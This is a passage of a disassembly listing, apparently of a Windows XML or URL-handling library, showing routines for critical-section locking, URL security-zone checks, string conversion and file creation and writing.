mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B39652: ; CODE XREF: sub_69B39507+56j
; sub_69B39507+90j
lea ecx, [ebp+var_28]
call sub_69B3A8F3
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_14]
call sub_69B1976C
push [ebp+var_8]
call dword_69B92944
mov eax, edi
pop edi
pop esi
loc_69B39678: ; CODE XREF: sub_69B39507+1Bj
pop ebx
leave
retn 14h
sub_69B39507 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3967D proc near ; DATA XREF: .text:69B27740o
var_14 = byte ptr -14h
var_8 = dword ptr -8
lpCriticalSection= dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
call dword_69B92948
test eax, eax
mov [ebp+var_8], eax
jnz short loc_69B3969A
mov eax, 80004005h
jmp locret_69B3972C
; ---------------------------------------------------------------------------
loc_69B3969A: ; CODE XREF: sub_69B3967D+11j
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_14]
push eax
call sub_69B1A8C7
lea eax, [esi+90h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
mov eax, [esi+5Ch]
and [ebp+arg_0], 0
xor edi, edi
inc edi
test eax, eax
jz short loc_69B396D6
cmp byte ptr [eax+0Ch], 0
jz short loc_69B396D6
mov [ebp+arg_0], edi
loc_69B396D6: ; CODE XREF: sub_69B3967D+4Ej
; sub_69B3967D+54j
mov eax, [esi+8Ch]
inc dword ptr [esi+34h]
mov ecx, [eax]
push edi
push esi
push eax
call dword ptr [ecx+0Ch]
mov ebx, eax
test ebx, ebx
jl short loc_69B3970D
cmp [ebp+arg_0], edi
push 0
push 0
setz al
push edi
push edi
mov ecx, esi
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B3937E
mov ebx, eax
mov byte ptr [esi+2Eh], 0
loc_69B3970D: ; CODE XREF: sub_69B3967D+6Ej
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_14]
call sub_69B1976C
push [ebp+var_8]
call dword_69B92944
pop edi
pop esi
mov eax, ebx
pop ebx
locret_69B3972C: ; CODE XREF: sub_69B3967D+18j
leave
retn 0Ch
sub_69B3967D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B39730 proc near ; DATA XREF: .text:69B27738o
lpString = dword ptr -7Ch
var_34 = byte ptr -34h
lpszUrl = dword ptr -2Ch
var_20 = byte ptr -20h
lpCriticalSection= dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
push esi
xor esi, esi
cmp [ebp+arg_4], esi
mov [ebp+var_4], eax
jnz short loc_69B39753
mov eax, 80070057h
jmp loc_69B398B8
; ---------------------------------------------------------------------------
loc_69B39753: ; CODE XREF: sub_69B39730+17j
call dword_69B92948
cmp eax, esi
mov [ebp+var_10], eax
jnz short loc_69B3976A
mov eax, 80004005h
jmp loc_69B398B8
; ---------------------------------------------------------------------------
loc_69B3976A: ; CODE XREF: sub_69B39730+2Ej
push ebx
mov ebx, [ebp+arg_0]
push edi
push dword ptr [ebx+0A8h]
lea ecx, [ebp+var_20]
push eax
call sub_69B1A8C7
lea edi, [ebx+90h]
push edi ; lpCriticalSection
mov [ebp+lpCriticalSection], edi
call ds:EnterCriticalSection
cmp [ebx+50h], esi
jnz short loc_69B3979A
mov ecx, ebx
call sub_69B38726
loc_69B3979A: ; CODE XREF: sub_69B39730+61j
push esi
mov ecx, ebx
call sub_69B39299
cmp eax, esi
mov [ebp+arg_0], eax
jge short loc_69B397AF
push edi
jmp loc_69B3989C
; ---------------------------------------------------------------------------
loc_69B397AF: ; CODE XREF: sub_69B39730+77j
push 12h
pop ecx
xor eax, eax
lea edi, [ebp+lpString]
rep stosd
mov edi, [ebp+arg_4]
mov eax, [edi]
lea ecx, [ebp+var_8]
push ecx
push offset dword_69B2AFF0
push edi
mov [ebp+var_8], esi
mov [ebp+var_C], esi
call dword ptr [eax]
test eax, eax
jl short loc_69B3984C
mov eax, [ebp+var_8]
mov ecx, [eax]
push esi
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+30h]
cmp eax, esi
mov [ebp+arg_0], eax
jl short loc_69B39847
cmp [ebp+lpString], esi
jz short loc_69B39847
push [ebp+lpString] ; lpString
mov ecx, ebx
call sub_69B3745D
mov ecx, ebx
call sub_69B37315
mov edi, eax
mov eax, [ebp+lpString]
cmp [eax], si
jz short loc_69B3983C
cmp edi, esi
jz short loc_69B3983C
cmp [edi], si
jz short loc_69B3983C
lea ecx, [ebp+var_34]
call sub_69B3A66D
push esi ; int
push esi ; lpString
push [ebp+lpString] ; int
lea ecx, [ebp+var_34]
call sub_69B3A897
push esi ; int
push edi ; int
push [ebp+lpszUrl] ; lpszUrl
call sub_69B39C17
lea ecx, [ebp+var_34]
mov [ebp+arg_0], eax
call sub_69B3A8F3
loc_69B3983C: ; CODE XREF: sub_69B39730+D7j
; sub_69B39730+DBj ...
push [ebp+lpString] ; pv
call ds:CoTaskMemFree
jmp short loc_69B3986C
; ---------------------------------------------------------------------------
loc_69B39847: ; CODE XREF: sub_69B39730+B7j
; sub_69B39730+BCj
mov [ebp+arg_0], esi
jmp short loc_69B3986C
; ---------------------------------------------------------------------------
loc_69B3984C: ; CODE XREF: sub_69B39730+A2j
mov eax, [edi]
lea ecx, [ebp+var_C]
push ecx
push offset dword_69B2B000
push edi
call dword ptr [eax]
cmp eax, esi
mov [ebp+arg_0], eax
jl short loc_69B3987F
push [ebp+var_C]
call sub_69B38858
mov [ebp+var_8], eax
loc_69B3986C: ; CODE XREF: sub_69B39730+115j
; sub_69B39730+11Aj
cmp [ebp+arg_0], esi
jl short loc_69B3987F
push esi
push [ebp+var_8]
mov ecx, ebx
call sub_69B3845F
mov [ebp+arg_0], eax
loc_69B3987F: ; CODE XREF: sub_69B39730+12Fj
; sub_69B39730+13Fj
mov eax, [ebp+var_C]
cmp eax, esi
jz short loc_69B3988C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3988C: ; CODE XREF: sub_69B39730+154j
mov eax, [ebp+var_8]
cmp eax, esi
jz short loc_69B39899
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B39899: ; CODE XREF: sub_69B39730+161j
push [ebp+lpCriticalSection] ; lpCriticalSection
loc_69B3989C: ; CODE XREF: sub_69B39730+7Aj
call ds:LeaveCriticalSection
lea ecx, [ebp+var_20]
call sub_69B1976C
push [ebp+var_10]
call dword_69B92944
mov eax, [ebp+arg_0]
pop edi
pop ebx
loc_69B398B8: ; CODE XREF: sub_69B39730+1Ej
; sub_69B39730+35j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
call sub_69B1B9F6
leave
retn 8
sub_69B39730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B398C8 proc near ; DATA XREF: .text:69B2773Co
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B398E2
mov eax, 80004005h
jmp short loc_69B3995C
; ---------------------------------------------------------------------------
loc_69B398E2: ; CODE XREF: sub_69B398C8+11j
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_C]
push ebx
call sub_69B1A8C7
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
xor eax, eax
cmp [ebp+arg_4], eax
jnz short loc_69B39916
cmp [ebp+arg_8], eax
jz short loc_69B39916
mov esi, 80070057h
jmp short loc_69B39942
; ---------------------------------------------------------------------------
loc_69B39916: ; CODE XREF: sub_69B398C8+40j
; sub_69B398C8+45j
cmp [esi+14h], eax
jnz short loc_69B3992F
mov ecx, esi
call sub_69B38726
push 0
mov ecx, esi
call sub_69B39299
test eax, eax
jl short loc_69B39940
loc_69B3992F: ; CODE XREF: sub_69B398C8+51j
push [ebp+arg_C]
mov ecx, [esi+14h]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B358B8
loc_69B39940: ; CODE XREF: sub_69B398C8+65j
mov esi, eax
loc_69B39942: ; CODE XREF: sub_69B398C8+4Cj
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B3995C: ; CODE XREF: sub_69B398C8+18j
pop ebx
leave
retn 10h
sub_69B398C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B39961 proc near ; DATA XREF: .text:69B27744o
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B3997E
mov eax, 80004005h
jmp locret_69B39A0B
; ---------------------------------------------------------------------------
loc_69B3997E: ; CODE XREF: sub_69B39961+11j
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_10]
push eax
call sub_69B1A8C7
lea ebx, [esi+90h]
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esi+5Ch]
xor ecx, ecx
xor edi, edi
inc ecx
test eax, eax
jz short loc_69B399B4
cmp byte ptr [eax+0Ch], 0
jz short loc_69B399B4
mov edi, ecx
loc_69B399B4: ; CODE XREF: sub_69B39961+49j
; sub_69B39961+4Fj
cmp [ebp+arg_C], ecx
setz al
cmp [ebp+arg_C], ecx
push eax
push ecx
push eax
setnz al
cmp edi, ecx
mov ecx, esi
push eax
setz al
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B3937E
mov edi, eax
test edi, edi
jnz short loc_69B399EE
mov eax, [esi+8Ch]
mov ecx, [eax]
push 6
push esi
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
loc_69B399EE: ; CODE XREF: sub_69B39961+7Aj
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, edi
pop edi
pop esi
pop ebx
locret_69B39A0B: ; CODE XREF: sub_69B39961+18j
leave
retn 10h
sub_69B39961 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39A0F(LPCRITICAL_SECTION lpCriticalSection, int, int, int)
sub_69B39A0F proc near ; DATA XREF: .text:69B27748o
var_10 = byte ptr -10h
var_4 = dword ptr -4
lpCriticalSection= dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B39A2C
mov eax, 80004005h
jmp locret_69B39AEB
; ---------------------------------------------------------------------------
loc_69B39A2C: ; CODE XREF: sub_69B39A0F+11j
push esi
mov esi, [ebp+lpCriticalSection]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_10]
push eax
call sub_69B1A8C7
lea eax, [esi+90h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
cmp [ebp+arg_C], 0
jnz short loc_69B39AA6
push 0
mov ecx, esi
call sub_69B39299
mov edi, eax
test edi, edi
jl short loc_69B39ACD
mov eax, [esi+5Ch]
mov byte ptr [eax+0Eh], 1
mov eax, [esi+5Ch]
mov byte ptr [eax+0Fh], 0
mov eax, [esi+5Ch]
push 0
push 2
mov byte ptr [eax+10h], 1
mov ecx, [esi+14h]
push offset word_69B26230
call sub_69B358B8
mov edi, eax
test edi, edi
jl short loc_69B39ACD
mov eax, [ebp+arg_8]
mov ecx, [esi+14h]
push 1
add eax, eax
push eax
push [ebp+arg_4]
call sub_69B358B8
jmp short loc_69B39AB6
; ---------------------------------------------------------------------------
loc_69B39AA6: ; CODE XREF: sub_69B39A0F+45j
mov ecx, [esi+14h]
push 1
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B35A2B
loc_69B39AB6: ; CODE XREF: sub_69B39A0F+95j
mov edi, eax
test edi, edi
jnz short loc_69B39ACD
mov eax, [esi+8Ch]
mov ecx, [eax]
push 6
push esi
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
loc_69B39ACD: ; CODE XREF: sub_69B39A0F+54j
; sub_69B39A0F+80j ...
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, edi
pop edi
pop esi
locret_69B39AEB: ; CODE XREF: sub_69B39A0F+18j
leave
retn 10h
sub_69B39A0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39AEF(LPCRITICAL_SECTION lpCriticalSection, int, int, int)
sub_69B39AEF proc near ; DATA XREF: .text:69B27730o
var_C = byte ptr -0Ch
lpCriticalSection= dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov esi, [ebp+lpCriticalSection]
lea eax, [esi+90h]
push edi
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B39B1D
mov esi, 80004005h
jmp short loc_69B39B5A
; ---------------------------------------------------------------------------
loc_69B39B1D: ; CODE XREF: sub_69B39AEF+25j
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_C]
push edi
call sub_69B1A8C7
cmp [ebp+arg_C], 1
push 0
push 0
setz al
push 0
push 1
mov ecx, esi
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_69B3937E
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
loc_69B39B5A: ; CODE XREF: sub_69B39AEF+2Cj
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
leave
retn 10h
sub_69B39AEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39B6B(int, LPCWSTR lpString, int)
sub_69B39B6B proc near ; CODE XREF: sub_69B3DEBD+30p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
mov esi, eax
lea eax, [ebp+var_8]
push eax ; int
lea eax, [ebp+var_4]
push eax ; int
push [ebp+lpString] ; OLECHAR *
call sub_69B370C8
cmp eax, 0FFFFFFFEh
jnz short loc_69B39B98
mov eax, 0C00CE56Eh
jmp short loc_69B39BDD
; ---------------------------------------------------------------------------
loc_69B39B98: ; CODE XREF: sub_69B39B6B+24j
cmp [ebp+var_4], 4B0h
jz short loc_69B39BAE
cmp [ebp+var_4], 2EE0h
jz short loc_69B39BAE
xor al, al
jmp short loc_69B39BB2
; ---------------------------------------------------------------------------
loc_69B39BAE: ; CODE XREF: sub_69B39B6B+34j
; sub_69B39B6B+3Dj
xor eax, eax
mov al, 1
loc_69B39BB2: ; CODE XREF: sub_69B39B6B+41j
push eax
push 1
push esi
push [ebp+lpString]
call sub_69B37036
test eax, eax
jz short loc_69B39BCF
push eax
push [ebp+arg_0]
call sub_69B3683A
test eax, eax
jnz short loc_69B39BD6
loc_69B39BCF: ; CODE XREF: sub_69B39B6B+55j
mov eax, 8007000Eh
jmp short loc_69B39BDD
; ---------------------------------------------------------------------------
loc_69B39BD6: ; CODE XREF: sub_69B39B6B+62j
mov ecx, [ebp+arg_8]
mov [ecx], eax
xor eax, eax
loc_69B39BDD: ; CODE XREF: sub_69B39B6B+2Bj
; sub_69B39B6B+69j
pop esi
leave
retn 0Ch
sub_69B39B6B endp
; =============== S U B R O U T I N E =======================================
sub_69B39BE2 proc near ; CODE XREF: sub_69B39C17+A2p
; sub_69B39C17+12Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 4
mov ecx, [esp+arg_4]
jz short loc_69B39BF3
cmp eax, ecx
jz short loc_69B39C0D
loc_69B39BF3: ; CODE XREF: sub_69B39BE2+Bj
cmp ecx, 4
jnb short loc_69B39C12
cmp eax, 4
jnb short loc_69B39C12
mov ecx, dword_69B98444[ecx*4]
cmp ecx, dword_69B98444[eax*4]
jb short loc_69B39C12
loc_69B39C0D: ; CODE XREF: sub_69B39BE2+Fj
xor eax, eax
inc eax
jmp short locret_69B39C14
; ---------------------------------------------------------------------------
loc_69B39C12: ; CODE XREF: sub_69B39BE2+14j
; sub_69B39BE2+19j ...
xor eax, eax
locret_69B39C14: ; CODE XREF: sub_69B39BE2+2Ej
retn 8
sub_69B39BE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39C17(LPCWSTR lpszUrl, int, int)
sub_69B39C17 proc near ; CODE XREF: sub_69B39730+FCp
; sub_69B39E07+31p ...
var_41C = byte ptr -41Ch
var_21C = byte ptr -21Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
lpszUrl = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 41Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
push 4
pop esi
xor ebx, ebx
push offset dword_69B9B264 ; ppv
mov [ebp+var_4], eax
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_18], 3
mov [ebp+var_5], bl
call sub_69B2C72C
cmp eax, ebx
jnz loc_69B39DA5
mov eax, dword_69B9B264
mov ecx, [eax]
push ebx
lea edx, [ebp+var_C]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+14h]
test eax, eax
jl short loc_69B39C97
cmp [ebp+var_C], ebx
jnz short loc_69B39C97
mov eax, dword_69B9B264
mov ecx, [eax]
push ebx
push ebx
push ebx
push ebx
push esi
lea edx, [ebp+var_18]
push edx
push 1203h
push [ebp+lpszUrl]
push eax
call dword ptr [ecx+1Ch]
test eax, eax
jnz short loc_69B39C97
mov al, 1
jmp loc_69B39D97
; ---------------------------------------------------------------------------
loc_69B39C97: ; CODE XREF: sub_69B39C17+52j
; sub_69B39C17+57j ...
mov eax, dword_69B9B264
mov ecx, [eax]
push ebx
lea edx, [ebp+var_10]
push edx
push [ebp+lpszUrl]
push eax
call dword ptr [ecx+14h]
test eax, eax
jl short loc_69B39CCB
cmp [ebp+arg_8], ebx
jz short loc_69B39CCB
push [ebp+var_10]
push [ebp+var_C]
call sub_69B39BE2
test eax, eax
jz short loc_69B39CCB
mov [ebp+var_5], 1
jmp loc_69B39D94
; ---------------------------------------------------------------------------
loc_69B39CCB: ; CODE XREF: sub_69B39C17+95j
; sub_69B39C17+9Aj ...
cmp [ebp+arg_8], ebx
push edi
jl loc_69B39D93
push ebx
lea edx, [ebp+var_14]
push edx
lea edx, [ebp+var_41C]
mov eax, 200h
push edx
push [ebp+lpszUrl]
mov [ebp+var_14], eax
mov [ebp+var_1C], eax
mov eax, dword_69B9B264
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
test eax, eax
jl short loc_69B39D3C
mov eax, dword_69B9B264
mov ecx, [eax]
push ebx
lea edx, [ebp+var_1C]
push edx
lea edx, [ebp+var_21C]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
test eax, eax
jl short loc_69B39D3C
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_1C]
jnz short loc_69B39D39
lea edi, [ebp+var_21C]
lea esi, [ebp+var_41C]
xor eax, eax
repe cmpsb
jz short loc_69B39D8F
push 4
pop esi
loc_69B39D39: ; CODE XREF: sub_69B39C17+10Bj
mov [ebp+var_5], bl
loc_69B39D3C: ; CODE XREF: sub_69B39C17+E5j
; sub_69B39C17+103j
push [ebp+var_10]
push [ebp+var_C]
call sub_69B39BE2
test eax, eax
jz short loc_69B39D93
push [ebp+lpszUrl] ; lpszUrl
call sub_69B3A58D
push [ebp+arg_4] ; lpszUrl
mov edi, eax
call sub_69B3A58D
cmp edi, 3
jnz short loc_69B39D66
cmp eax, esi
jz short loc_69B39D93
loc_69B39D66: ; CODE XREF: sub_69B39C17+149j
cmp edi, esi
jnz short loc_69B39D6F
cmp eax, 3
jz short loc_69B39D93
loc_69B39D6F: ; CODE XREF: sub_69B39C17+151j
mov eax, dword_69B9B264
mov ecx, [eax]
push ebx
push ebx
push ebx
push ebx
push esi
lea edx, [ebp+var_18]
push edx
push 1406h
push [ebp+arg_4]
push eax
call dword ptr [ecx+1Ch]
test eax, eax
jnz short loc_69B39D93
loc_69B39D8F: ; CODE XREF: sub_69B39C17+11Dj
mov [ebp+var_5], 1
loc_69B39D93: ; CODE XREF: sub_69B39C17+B8j
; sub_69B39C17+132j ...
pop edi
loc_69B39D94: ; CODE XREF: sub_69B39C17+AFj
mov al, [ebp+var_5]
loc_69B39D97: ; CODE XREF: sub_69B39C17+7Bj
neg al
sbb eax, eax
and eax, 7FF8FFFBh
add eax, 80070005h
loc_69B39DA5: ; CODE XREF: sub_69B39C17+37j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B39C17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39DB6(int, LPCVOID lpBuffer, DWORD NumberOfBytesWritten, int)
sub_69B39DB6 proc near ; DATA XREF: .text:69B12328o
arg_0 = dword ptr 8
lpBuffer = dword ptr 0Ch
NumberOfBytesWritten= dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push [ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
mov eax, [ebp+arg_0]
push [ebp+lpBuffer] ; lpBuffer
push dword ptr [eax+38h] ; hFile
call ds:WriteFile ; WriteFile
test eax, eax
jnz short loc_69B39DF5
push esi
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jg short loc_69B39DE6
call esi ; GetLastError
jmp short loc_69B39DF2
; ---------------------------------------------------------------------------
loc_69B39DE6: ; CODE XREF: sub_69B39DB6+2Aj
call esi ; GetLastError
and eax, 0FFFFh
or eax, 80070000h
loc_69B39DF2: ; CODE XREF: sub_69B39DB6+2Ej
pop esi
jmp short loc_69B39E03
; ---------------------------------------------------------------------------
loc_69B39DF5: ; CODE XREF: sub_69B39DB6+1Dj
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B39E01
mov ecx, [ebp+NumberOfBytesWritten]
mov [eax], ecx
loc_69B39E01: ; CODE XREF: sub_69B39DB6+44j
xor eax, eax
loc_69B39E03: ; CODE XREF: sub_69B39DB6+3Dj
pop ebp
retn 10h
sub_69B39DB6 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B39E07(LPCWSTR lpszUrl)
sub_69B39E07 proc near ; CODE XREF: sub_69B3A3DD+3Bp
; sub_69B3A45B+3Fp ...
lpszUrl = dword ptr 4
mov eax, [ecx+28h]
push esi
mov esi, [eax+0Ch]
test esi, esi
jz short loc_69B39E3F
cmp word ptr [esi], 0
jz short loc_69B39E3F
mov edx, [esp+4+lpszUrl]
test edx, edx
jnz short loc_69B39E27
mov edx, [eax+8]
test edx, edx
jz short loc_69B39E3F
loc_69B39E27: ; CODE XREF: sub_69B39E07+17j
cmp word ptr [edx], 0
jz short loc_69B39E3F
xor eax, eax
cmp [ecx+48h], al
setnz al
push eax ; int
push esi ; int
push edx ; lpszUrl
call sub_69B39C17
jmp short loc_69B39E41
; ---------------------------------------------------------------------------
loc_69B39E3F: ; CODE XREF: sub_69B39E07+9j
; sub_69B39E07+Fj ...
xor eax, eax
loc_69B39E41: ; CODE XREF: sub_69B39E07+36j
pop esi
retn 4
sub_69B39E07 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B39E45(LPCWSTR lpWideCharStr)
sub_69B39E45 proc near ; CODE XREF: sub_69B39E9F+8Fp
; sub_69B7F4D3+F3p ...
cchWideChar = dword ptr -4
lpWideCharStr = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
push [esp+14h+lpWideCharStr] ; lpString
call ds:lstrlenW ; lstrlenW
mov ebp, ds:WideCharToMultiByte
xor ebx, ebx
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push ebx ; cchMultiByte
push ebx ; lpMultiByteStr
push eax ; cchWideChar
push [esp+28h+lpWideCharStr] ; lpWideCharStr
mov [esp+2Ch+cchWideChar], eax
push ebx ; dwFlags
push ebx ; CodePage
call ebp ; WideCharToMultiByte
mov esi, eax
lea eax, [esi+1]
push eax
call sub_69B11E44
mov edi, eax
cmp edi, ebx
jnz short loc_69B39E82
xor eax, eax
jmp short loc_69B39E97
; ---------------------------------------------------------------------------
loc_69B39E82: ; CODE XREF: sub_69B39E45+37j
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push esi ; cchMultiByte
push edi ; lpMultiByteStr
push [esp+24h+cchWideChar] ; cchWideChar
push [esp+28h+lpWideCharStr] ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call ebp ; WideCharToMultiByte
mov [edi+esi], bl
mov eax, edi
loc_69B39E97: ; CODE XREF: sub_69B39E45+3Bj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 4
sub_69B39E45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B39E9F proc near ; CODE XREF: sub_69B3A3DD+62p
var_14 = dword ptr -14h
dwDesiredAccess = dword ptr -10h
lpWideCharStr = dword ptr -0Ch
dwCreationDisposition= dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, ecx
mov ecx, [esi+28h]
xor ebx, ebx
mov [ebp+var_4], ebx
mov [ebp+var_14], ebx
call sub_69B3A627
cmp eax, ebx
mov [ebp+lpWideCharStr], eax
jnz short loc_69B39ECA
mov eax, 8007000Eh
jmp loc_69B3A001
; ---------------------------------------------------------------------------
loc_69B39ECA: ; CODE XREF: sub_69B39E9F+1Fj
cmp [ebp+arg_0], ebx
jz short loc_69B39ED7
xor eax, eax
inc eax
cmp [ebp+arg_0], eax
jnz short loc_69B39ED9
loc_69B39ED7: ; CODE XREF: sub_69B39E9F+2Ej
xor eax, eax
loc_69B39ED9: ; CODE XREF: sub_69B39E9F+36j
mov cl, al
neg cl
mov [esi+35h], al
sbb ecx, ecx
and ecx, 0C0000000h
add ecx, 80000000h
cmp al, bl
mov [ebp+dwDesiredAccess], ecx
jz short loc_69B39F02
cmp [ebp+arg_0], 3
mov [ebp+dwCreationDisposition], 2
jnz short loc_69B39F09
loc_69B39F02: ; CODE XREF: sub_69B39E9F+54j
mov [ebp+dwCreationDisposition], 3
loc_69B39F09: ; CODE XREF: sub_69B39E9F+61j
push edi
push ebx
mov edi, 80h
push edi
push [ebp+dwCreationDisposition]
push ebx
push 1
push [ebp+dwDesiredAccess]
push [ebp+lpWideCharStr]
call ds:SHLWAPI_52
cmp eax, 0FFFFFFFFh
mov [esi+38h], eax
jnz short loc_69B39F5B
push [ebp+lpWideCharStr] ; lpWideCharStr
call sub_69B39E45
cmp eax, ebx
mov [ebp+var_14], eax
jnz short loc_69B39F46
mov [ebp+var_4], 8007000Eh
jmp loc_69B39FED
; ---------------------------------------------------------------------------
loc_69B39F46: ; CODE XREF: sub_69B39E9F+99j
push ebx ; hTemplateFile
push edi ; dwFlagsAndAttributes
push [ebp+dwCreationDisposition] ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 1 ; dwShareMode
push [ebp+dwDesiredAccess] ; dwDesiredAccess
push eax ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [esi+38h], eax
loc_69B39F5B: ; CODE XREF: sub_69B39E9F+8Aj
mov eax, [esi+38h]
cmp eax, 0FFFFFFFFh
jz short loc_69B39F94
cmp [esi+35h], bl
jz short loc_69B39F94
cmp [ebp+arg_0], 3
jnz short loc_69B39F94
push 2 ; dwMoveMethod
push ebx ; lpDistanceToMoveHigh
push ebx ; lDistanceToMove
push eax ; hFile
call ds:SetFilePointer ; SetFilePointer
cmp eax, 0FFFFFFFh
jnz short loc_69B39F94
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jg short loc_69B39F90
call esi ; GetLastError
jmp short loc_69B39FBC
; ---------------------------------------------------------------------------
loc_69B39F90: ; CODE XREF: sub_69B39E9F+EBj
call esi ; GetLastError
jmp short loc_69B39FB2
; ---------------------------------------------------------------------------
loc_69B39F94: ; CODE XREF: sub_69B39E9F+C2j
; sub_69B39E9F+C7j ...
